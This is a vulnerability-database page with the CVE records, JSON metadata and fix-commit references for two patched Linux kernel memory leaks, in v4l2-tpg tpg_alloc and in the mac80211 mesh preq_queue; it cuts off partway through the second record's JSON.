Linux	Linux	Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 0de691ff547d86dd54c24b40a81f9c925df8dd77 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 8269ab16415f2065cd792c49b0475543936cbd79 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 94303a06e1852a366e9671fff46d19459f88cb28 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 770a57922ce36a8476c43f7400b6501c554ea511 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 6bf5c2fade8ed53b2d26fa9875e5b04f36c7145d (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 4c86c772fef06f5d7a66151bac42366825db0941 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 31096da07933598da8522c54bd007376fb152a09 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 622b1cf38521569869c8f7b9fbe9e4f1a289add7 (git) Affected: 63881df94d3ecbb0deafa0b77da62ff2f32961c4 , < 8cf9c5051076e0eb958f4361d50d8b0c3ee6691c (git)
Linux	Linux	Affected: 3.18 Unaffected: 0 , < 3.18 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27078",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-12T15:32:05.412221Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-12T15:32:19.858Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:27:58.532Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0de691ff547d86dd54c24b40a81f9c925df8dd77"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8269ab16415f2065cd792c49b0475543936cbd79"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/94303a06e1852a366e9671fff46d19459f88cb28"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/770a57922ce36a8476c43f7400b6501c554ea511"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6bf5c2fade8ed53b2d26fa9875e5b04f36c7145d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4c86c772fef06f5d7a66151bac42366825db0941"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/31096da07933598da8522c54bd007376fb152a09"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/622b1cf38521569869c8f7b9fbe9e4f1a289add7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8cf9c5051076e0eb958f4361d50d8b0c3ee6691c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:31.849Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/common/v4l2-tpg/v4l2-tpg-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0de691ff547d86dd54c24b40a81f9c925df8dd77",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "8269ab16415f2065cd792c49b0475543936cbd79",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "94303a06e1852a366e9671fff46d19459f88cb28",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "770a57922ce36a8476c43f7400b6501c554ea511",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "6bf5c2fade8ed53b2d26fa9875e5b04f36c7145d",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "4c86c772fef06f5d7a66151bac42366825db0941",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "31096da07933598da8522c54bd007376fb152a09",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "622b1cf38521569869c8f7b9fbe9e4f1a289add7",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            },
            {
              "lessThan": "8cf9c5051076e0eb958f4361d50d8b0c3ee6691c",
              "status": "affected",
              "version": "63881df94d3ecbb0deafa0b77da62ff2f32961c4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/common/v4l2-tpg/v4l2-tpg-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.18"
            },
            {
              "lessThan": "3.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: v4l2-tpg: fix some memleaks in tpg_alloc\n\nIn tpg_alloc, resources should be deallocated in each and every\nerror-handling paths, since they are allocated in for statements.\nOtherwise there would be memleaks because tpg_free is called only when\ntpg_alloc return 0."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:57.841Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0de691ff547d86dd54c24b40a81f9c925df8dd77"
        },
        {
          "url": "https://git.kernel.org/stable/c/8269ab16415f2065cd792c49b0475543936cbd79"
        },
        {
          "url": "https://git.kernel.org/stable/c/94303a06e1852a366e9671fff46d19459f88cb28"
        },
        {
          "url": "https://git.kernel.org/stable/c/770a57922ce36a8476c43f7400b6501c554ea511"
        },
        {
          "url": "https://git.kernel.org/stable/c/6bf5c2fade8ed53b2d26fa9875e5b04f36c7145d"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c86c772fef06f5d7a66151bac42366825db0941"
        },
        {
          "url": "https://git.kernel.org/stable/c/31096da07933598da8522c54bd007376fb152a09"
        },
        {
          "url": "https://git.kernel.org/stable/c/622b1cf38521569869c8f7b9fbe9e4f1a289add7"
        },
        {
          "url": "https://git.kernel.org/stable/c/8cf9c5051076e0eb958f4361d50d8b0c3ee6691c"
        }
      ],
      "title": "media: v4l2-tpg: fix some memleaks in tpg_alloc",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27078",
    "datePublished": "2024-05-01T13:04:54.979Z",
    "dateReserved": "2024-02-19T14:20:24.217Z",
    "dateUpdated": "2026-05-12T11:51:31.849Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40942 (GCVE-0-2024-40942)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:25 – Updated: 2026-05-12 11:55

Title

wifi: mac80211: mesh: Fix leak of mesh_preq_queue objects

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: mesh: Fix leak of mesh_preq_queue objects The hwmp code use objects of type mesh_preq_queue, added to a list in ieee80211_if_mesh, to keep track of mpath we need to resolve. If the mpath gets deleted, ex mesh interface is removed, the entries in that list will never get cleaned. Fix this by flushing all corresponding items of the preq_queue in mesh_path_flush_pending(). This should take care of KASAN reports like this: unreferenced object 0xffff00000668d800 (size 128): comm "kworker/u8:4", pid 67, jiffies 4295419552 (age 1836.444s) hex dump (first 32 bytes): 00 1f 05 09 00 00 ff ff 00 d5 68 06 00 00 ff ff ..........h..... 8e 97 ea eb 3e b8 01 00 00 00 00 00 00 00 00 00 ....>........... backtrace: [<000000007302a0b6>] __kmem_cache_alloc_node+0x1e0/0x35c [<00000000049bd418>] kmalloc_trace+0x34/0x80 [<0000000000d792bb>] mesh_queue_preq+0x44/0x2a8 [<00000000c99c3696>] mesh_nexthop_resolve+0x198/0x19c [<00000000926bf598>] ieee80211_xmit+0x1d0/0x1f4 [<00000000fc8c2284>] __ieee80211_subif_start_xmit+0x30c/0x764 [<000000005926ee38>] ieee80211_subif_start_xmit+0x9c/0x7a4 [<000000004c86e916>] dev_hard_start_xmit+0x174/0x440 [<0000000023495647>] __dev_queue_xmit+0xe24/0x111c [<00000000cfe9ca78>] batadv_send_skb_packet+0x180/0x1e4 [<000000007bacc5d5>] batadv_v_elp_periodic_work+0x2f4/0x508 [<00000000adc3cd94>] process_one_work+0x4b8/0xa1c [<00000000b36425d1>] worker_thread+0x9c/0x634 [<0000000005852dd5>] kthread+0x1bc/0x1c4 [<000000005fccd770>] ret_from_fork+0x10/0x20 unreferenced object 0xffff000009051f00 (size 128): comm "kworker/u8:4", pid 67, jiffies 4295419553 (age 1836.440s) hex dump (first 32 bytes): 90 d6 92 0d 00 00 ff ff 00 d8 68 06 00 00 ff ff ..........h..... 36 27 92 e4 02 e0 01 00 00 58 79 06 00 00 ff ff 6'.......Xy..... backtrace: [<000000007302a0b6>] __kmem_cache_alloc_node+0x1e0/0x35c [<00000000049bd418>] kmalloc_trace+0x34/0x80 [<0000000000d792bb>] mesh_queue_preq+0x44/0x2a8 [<00000000c99c3696>] mesh_nexthop_resolve+0x198/0x19c [<00000000926bf598>] ieee80211_xmit+0x1d0/0x1f4 [<00000000fc8c2284>] __ieee80211_subif_start_xmit+0x30c/0x764 [<000000005926ee38>] ieee80211_subif_start_xmit+0x9c/0x7a4 [<000000004c86e916>] dev_hard_start_xmit+0x174/0x440 [<0000000023495647>] __dev_queue_xmit+0xe24/0x111c [<00000000cfe9ca78>] batadv_send_skb_packet+0x180/0x1e4 [<000000007bacc5d5>] batadv_v_elp_periodic_work+0x2f4/0x508 [<00000000adc3cd94>] process_one_work+0x4b8/0xa1c [<00000000b36425d1>] worker_thread+0x9c/0x634 [<0000000005852dd5>] kthread+0x1bc/0x1c4 [<000000005fccd770>] ret_from_fork+0x10/0x20

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/377dbb220edc8421b…
https://git.kernel.org/stable/c/ec79670eae430b3ff…
https://git.kernel.org/stable/c/7518e20a189f8659b…
https://git.kernel.org/stable/c/c4c865f971fd4a255…
https://git.kernel.org/stable/c/617dadbfb2d3e152c…
https://git.kernel.org/stable/c/63d5f89bb5664d60e…
https://git.kernel.org/stable/c/d81e244af521de63a…
https://git.kernel.org/stable/c/b7d7f11a291830fdf…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < 377dbb220edc8421b7960691876c5b3bef62f89b (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < ec79670eae430b3ffb7e0a6417ad7657728b8f95 (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < 7518e20a189f8659b8b83969db4d33a4068fcfc3 (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < c4c865f971fd4a255208f57ef04d814c2ae9e0dc (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < 617dadbfb2d3e152c5753e28356d189c9d6f33c0 (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < 63d5f89bb5664d60edbf8cf0df911aaae8ed96a4 (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < d81e244af521de63ad2883e17571b789c39b6549 (git) Affected: 050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e , < b7d7f11a291830fdf69d3301075dd0fb347ced84 (git)
Linux	Linux	Affected: 2.6.26 Unaffected: 0 , < 2.6.26 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:11.294Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/377dbb220edc8421b7960691876c5b3bef62f89b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ec79670eae430b3ffb7e0a6417ad7657728b8f95"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7518e20a189f8659b8b83969db4d33a4068fcfc3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c4c865f971fd4a255208f57ef04d814c2ae9e0dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/617dadbfb2d3e152c5753e28356d189c9d6f33c0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/63d5f89bb5664d60edbf8cf0df911aaae8ed96a4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d81e244af521de63ad2883e17571b789c39b6549"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7d7f11a291830fdf69d3301075dd0fb347ced84"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40942",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:04:23.938409Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:25.698Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:45.364Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/mesh_pathtbl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "377dbb220edc8421b7960691876c5b3bef62f89b",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "ec79670eae430b3ffb7e0a6417ad7657728b8f95",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "7518e20a189f8659b8b83969db4d33a4068fcfc3",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "c4c865f971fd4a255208f57ef04d814c2ae9e0dc",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "617dadbfb2d3e152c5753e28356d189c9d6f33c0",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "63d5f89bb5664d60edbf8cf0df911aaae8ed96a4",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "d81e244af521de63ad2883e17571b789c39b6549",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            },
            {
              "lessThan": "b7d7f11a291830fdf69d3301075dd0fb347ced84",
              "status": "affected",
              "version": "050ac52cbe1f3de2fb0d06f02c7919ae1f691c9e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/mesh_pathtbl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.26"
            },
            {
              "lessThan": "2.6.26",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: mesh: Fix leak of mesh_preq_queue objects\n\nThe hwmp code use objects of type mesh_preq_queue, added to a list in\nieee80211_if_mesh, to keep track of mpath we need to resolve. If the mpath\ngets deleted, ex mesh interface is removed, the entries in that list will\nnever get cleaned. Fix this by flushing all corresponding items of the\npreq_queue in mesh_path_flush_pending().\n\nThis should take care of KASAN reports like this:\n\nunreferenced object 0xffff00000668d800 (size 128):\n  comm \"kworker/u8:4\", pid 67, jiffies 4295419552 (age 1836.444s)\n  hex dump (first 32 bytes):\n    00 1f 05 09 00 00 ff ff 00 d5 68 06 00 00 ff ff  ..........h.....\n    8e 97 ea eb 3e b8 01 00 00 00 00 00 00 00 00 00  ....\u003e...........\n  backtrace:\n    [\u003c000000007302a0b6\u003e] __kmem_cache_alloc_node+0x1e0/0x35c\n    [\u003c00000000049bd418\u003e] kmalloc_trace+0x34/0x80\n    [\u003c0000000000d792bb\u003e] mesh_queue_preq+0x44/0x2a8\n    [\u003c00000000c99c3696\u003e] mesh_nexthop_resolve+0x198/0x19c\n    [\u003c00000000926bf598\u003e] ieee80211_xmit+0x1d0/0x1f4\n    [\u003c00000000fc8c2284\u003e] __ieee80211_subif_start_xmit+0x30c/0x764\n    [\u003c000000005926ee38\u003e] ieee80211_subif_start_xmit+0x9c/0x7a4\n    [\u003c000000004c86e916\u003e] dev_hard_start_xmit+0x174/0x440\n    [\u003c0000000023495647\u003e] __dev_queue_xmit+0xe24/0x111c\n    [\u003c00000000cfe9ca78\u003e] batadv_send_skb_packet+0x180/0x1e4\n    [\u003c000000007bacc5d5\u003e] batadv_v_elp_periodic_work+0x2f4/0x508\n    [\u003c00000000adc3cd94\u003e] process_one_work+0x4b8/0xa1c\n    [\u003c00000000b36425d1\u003e] worker_thread+0x9c/0x634\n    [\u003c0000000005852dd5\u003e] kthread+0x1bc/0x1c4\n    [\u003c000000005fccd770\u003e] ret_from_fork+0x10/0x20\nunreferenced object 0xffff000009051f00 (size 128):\n  comm \"kworker/u8:4\", pid 67, jiffies 4295419553 (age 1836.440s)\n  hex dump (first 32 bytes):\n    90 d6 92 0d 00 00 ff ff 00 d8 68 06 00 00 ff ff  ..........h.....\n    36 27 92 e4 02 e0 01 00 00 58 79 06 00 00 ff ff  6\u0027.......Xy.....\n  backtrace:\n    [\u003c000000007302a0b6\u003e] __kmem_cache_alloc_node+0x1e0/0x35c\n    [\u003c00000000049bd418\u003e] kmalloc_trace+0x34/0x80\n    [\u003c0000000000d792bb\u003e] mesh_queue_preq+0x44/0x2a8\n    [\u003c00000000c99c3696\u003e] mesh_nexthop_resolve+0x198/0x19c\n    [\u003c00000000926bf598\u003e] ieee80211_xmit+0x1d0/0x1f4\n    [\u003c00000000fc8c2284\u003e] __ieee80211_subif_start_xmit+0x30c/0x764\n    [\u003c000000005926ee38\u003e] ieee80211_subif_start_xmit+0x9c/0x7a4\n    [\u003c000000004c86e916\u003e] dev_hard_start_xmit+0x174/0x440\n    [\u003c0000000023495647\u003e] __dev_queue_xmit+0xe24/0x111c\n    [\u003c00000000cfe9ca78\u003e] batadv_send_skb_packet+0x180/0x1e4\n    [\u003c000000007bacc5d5\u003e] batadv_v_elp_periodic_work+0x2f4/0x508\n    [\u003c00000000adc3cd94\u003e] process_one_work+0x4b8/0xa1c\n    [\u003c00000000b36425d1\u003e] worker_thread+0x9c/0x634\n    [\u003c0000000005852dd5\u003e] kthread+0x1bc/0x1c4\n    